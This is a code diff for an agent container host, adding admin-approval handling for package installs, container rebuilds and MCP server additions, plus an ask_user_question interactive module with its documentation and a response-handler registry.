import { updateContainerConfig } from '../../container-config.js';
import { buildAgentGroupImage, killContainer, wakeContainer } from '../../container-runner.js';
import { getAgentGroup } from '../../db/agent-groups.js';
import { deletePendingApproval, getPendingApproval, getSession } from '../../db/sessions.js';
import type { ResponsePayload } from '../../response-registry.js';
import { log } from '../../log.js';
import { writeSessionMessage } from '../../session-manager.js';
import type { PendingApproval } from '../../types.js';
import { ONECLI_ACTION, resolveOneCLIApproval } from './onecli-approvals.js';
export async function handleApprovalsResponse(payload: ResponsePayload): Promise<boolean> {
// OneCLI credential approvals — resolved via in-memory Promise first.
if (resolveOneCLIApproval(payload.questionId, payload.value)) {
return true;
}
// DB-backed pending_approvals.
const approval = getPendingApproval(payload.questionId);
if (!approval) return false;
if (approval.action === ONECLI_ACTION) {
// Row exists but the in-memory resolver is gone (timer fired or process
// was in a weird state). Nothing to do — just drop the row.
deletePendingApproval(payload.questionId);
return true;
}
await handleAgentApproval(approval, payload.value, payload.userId ?? '');
return true;
}
async function handleAgentApproval(
approval: PendingApproval,
selectedOption: string,
userId: string,
): Promise<void> {
if (!approval.session_id) {
deletePendingApproval(approval.approval_id);
return;
}
const session = getSession(approval.session_id);
if (!session) {
deletePendingApproval(approval.approval_id);
return;
}
const notify = (text: string): void => {
writeSessionMessage(session.agent_group_id, session.id, {
id: `appr-note-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`,
kind: 'chat',
timestamp: new Date().toISOString(),
platformId: session.agent_group_id,
channelType: 'agent',
threadId: null,
content: JSON.stringify({ text, sender: 'system', senderId: 'system' }),
});
};
if (selectedOption !== 'approve') {
notify(`Your ${approval.action} request was rejected by admin.`);
log.info('Approval rejected', { approvalId: approval.approval_id, action: approval.action, userId });
deletePendingApproval(approval.approval_id);
await wakeContainer(session);
return;
}
const payload = JSON.parse(approval.payload);
if (approval.action === 'install_packages') {
const agentGroup = getAgentGroup(session.agent_group_id);
if (!agentGroup) {
notify('install_packages approved but agent group missing.');
return;
}
updateContainerConfig(agentGroup.folder, (cfg) => {
if (payload.apt) cfg.packages.apt.push(...(payload.apt as string[]));
if (payload.npm) cfg.packages.npm.push(...(payload.npm as string[]));
});
const pkgs = [...(payload.apt || []), ...(payload.npm || [])].join(', ');
log.info('Package install approved', { approvalId: approval.approval_id, userId });
try {
await buildAgentGroupImage(session.agent_group_id);
killContainer(session.id, 'rebuild applied');
// Schedule a follow-up prompt a few seconds after kill so the host sweep
// respawns the container on the new image and the agent verifies + reports.
writeSessionMessage(session.agent_group_id, session.id, {
id: `appr-note-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`,
kind: 'chat',
timestamp: new Date().toISOString(),
platformId: session.agent_group_id,
channelType: 'agent',
threadId: null,
content: JSON.stringify({
text: `Packages installed (${pkgs}) and container rebuilt. Verify the new packages are available (e.g. run them or check versions) and report the result to the user.`,
sender: 'system',
senderId: 'system',
}),
processAfter: new Date(Date.now() + 5000)
.toISOString()
.replace('T', ' ')
.replace(/\.\d+Z$/, ''),
});
log.info('Container rebuild completed (bundled with install)', { approvalId: approval.approval_id });
} catch (e) {
notify(
`Packages added to config (${pkgs}) but rebuild failed: ${e instanceof Error ? e.message : String(e)}. Call request_rebuild to retry.`,
);
log.error('Bundled rebuild failed after install approval', { approvalId: approval.approval_id, err: e });
}
} else if (approval.action === 'request_rebuild') {
try {
await buildAgentGroupImage(session.agent_group_id);
killContainer(session.id, 'rebuild applied');
notify('Container image rebuilt. Your container will restart with the new image on the next message.');
log.info('Container rebuild approved and completed', { approvalId: approval.approval_id, userId });
} catch (e) {
notify(`Rebuild failed: ${e instanceof Error ? e.message : String(e)}`);
log.error('Container rebuild failed', { approvalId: approval.approval_id, err: e });
}
} else if (approval.action === 'add_mcp_server') {
const agentGroup = getAgentGroup(session.agent_group_id);
if (!agentGroup) {
notify('add_mcp_server approved but agent group missing.');
return;
}
updateContainerConfig(agentGroup.folder, (cfg) => {
cfg.mcpServers[payload.name as string] = {
command: payload.command as string,
args: (payload.args as string[]) || [],
env: (payload.env as Record<string, string>) || {},
};
});
killContainer(session.id, 'mcp server added');
notify(`MCP server "${payload.name}" added. Your container will restart with it on the next message.`);
log.info('MCP server add approved', { approvalId: approval.approval_id, userId });
}
deletePendingApproval(approval.approval_id);
await wakeContainer(session);
}
+3 -1
View File
@@ -13,4 +13,6 @@
* Registry-based modules (installed via /add-<name> skills, pulled from the
* `modules` branch): append imports below.
*/
export {};
import './interactive/index.js';
import './approvals/index.js';
+21
View File
@@ -0,0 +1,21 @@
## ask_user_question
Use `ask_user_question` when you need the user to pick from a small set of concrete options and you can't infer a reasonable default. This is a **blocking** call — your turn pauses until the user clicks or the timeout expires.
**When to use:**
- Confirming a destructive action ("Delete these 3 files?")
- Choosing between incompatible paths ("Keep their version or yours?")
- Gathering a required parameter that must be one of a known set
**When NOT to use:**
- Open-ended text input — just send a regular message asking.
- Yes/no confirmations where "no" is the safe default — just proceed and let the user interrupt.
- Anything you can work out from context.
**Arguments:**
- `title` (string) — short card header, e.g. "Confirm deletion"
- `question` (string) — the full question
- `options` (array) — each is either a plain string or `{ label, selectedLabel?, value? }`. `selectedLabel` replaces the button text after click; `value` is what gets returned to you
- `timeout` (number, seconds, default 300) — how long to wait before giving up
The response is the `value` (or label if no value set) of whichever option the user chose. On timeout you get an error and should proceed with a sensible default or tell the user you timed out.
+55
View File
@@ -0,0 +1,55 @@
/**
* Interactive module — generic ask_user_question flow.
*
* Container-side `ask_user_question` writes a chat-sdk card to outbound.db +
* polls inbound.db for a `question_response` system message. On the host side
* this module handles the button-click response: look up the pending_questions
* row, write the response into the session's inbound.db, wake the container.
*
* The `createPendingQuestion` call in `deliverMessage` (delivery.ts) stays
* inline in core — it's 15 lines guarded by `hasTable('pending_questions')`,
* modularizing it adds more registry surface than it saves.
*/
import { getDb, hasTable } from '../../db/connection.js';
import { deletePendingQuestion, getPendingQuestion, getSession } from '../../db/sessions.js';
import { wakeContainer } from '../../container-runner.js';
import { registerResponseHandler, type ResponsePayload } from '../../response-registry.js';
import { log } from '../../log.js';
import { writeSessionMessage } from '../../session-manager.js';
async function handleInteractiveResponse(payload: ResponsePayload): Promise<boolean> {
if (!hasTable(getDb(), 'pending_questions')) return false;
const pq = getPendingQuestion(payload.questionId);
if (!pq) return false;
const session = getSession(pq.session_id);
if (!session) {
log.warn('Session not found for pending question', { questionId: payload.questionId, sessionId: pq.session_id });
deletePendingQuestion(payload.questionId);
return true; // claimed — we owned this questionId even though the session is gone
}
writeSessionMessage(session.agent_group_id, session.id, {
id: `qr-${payload.questionId}-${Date.now()}`,
kind: 'system',
timestamp: new Date().toISOString(),
platformId: pq.platform_id,
channelType: pq.channel_type,
threadId: pq.thread_id,
content: JSON.stringify({
type: 'question_response',
questionId: payload.questionId,
selectedOption: payload.value,
userId: payload.userId ?? '',
}),
});
deletePendingQuestion(payload.questionId);
log.info('Question response routed', { questionId: payload.questionId, selectedOption: payload.value, sessionId: session.id });
await wakeContainer(session);
return true;
}
registerResponseHandler(handleInteractiveResponse);
+12
View File
@@ -0,0 +1,12 @@
## Interactive module
Generic ask_user_question flow. Lives in `src/modules/interactive/`.
The container-side MCP tool `ask_user_question` writes a chat-sdk card to outbound.db and polls inbound.db for a `question_response` system message. The host side of this is split:
- **Inline in `src/delivery.ts`:** the `deliverMessage` path intercepts `content.type === 'ask_question'` messages and writes a row to `pending_questions`. Guarded by `hasTable(db, 'pending_questions')`.
- **This module:** registers a `ResponseHandler` that runs when a button-click arrives via the channel adapter's `onAction`. It looks up the `pending_questions` row, writes a `question_response` system message into the session's inbound.db, wakes the container.
The `pending_questions` table is in the core `001-initial.ts` migration — the module doesn't own the schema, just the behavior. Removing the module disables the button-click response path only; cards are still delivered.
`getAskQuestionRender` in `src/db/sessions.ts` resolves card render metadata for `chat-sdk-bridge.ts`. It reads both `pending_questions` and `pending_approvals` and degrades via `hasTable`. Stays in core.
+45
View File
@@ -0,0 +1,45 @@
/**
* Response handler + shutdown callback registries.
*
* Extracted from index.ts so that modules calling `registerResponseHandler()`
* or `onShutdown()` at import time don't hit a TDZ error on the const-array
* declarations. index.ts imports src/modules/index.js for its side effects,
* which triggers module registrations that would otherwise happen before
* index.ts's own const initializers have run.
*
* Keep this file dependency-free (log.js is fine, but nothing from
* modules/* or index.ts itself). Any file imported here must not in turn
* import from src/index.ts, or the cycle returns.
*/
export interface ResponsePayload {
questionId: string;
value: string;
userId: string | null;
channelType: string;
platformId: string;
threadId: string | null;
}
export type ResponseHandler = (payload: ResponsePayload) => Promise<boolean>;
const responseHandlers: ResponseHandler[] = [];
export function registerResponseHandler(handler: ResponseHandler): void {
responseHandlers.push(handler);
}
export function getResponseHandlers(): readonly ResponseHandler[] {
return responseHandlers;
}
type ShutdownCallback = () => void | Promise<void>;
const shutdownCallbacks: ShutdownCallback[] = [];
export function onShutdown(cb: ShutdownCallback): void {
shutdownCallbacks.push(cb);
}
export function getShutdownCallbacks(): readonly ShutdownCallback[] {
return shutdownCallbacks;
}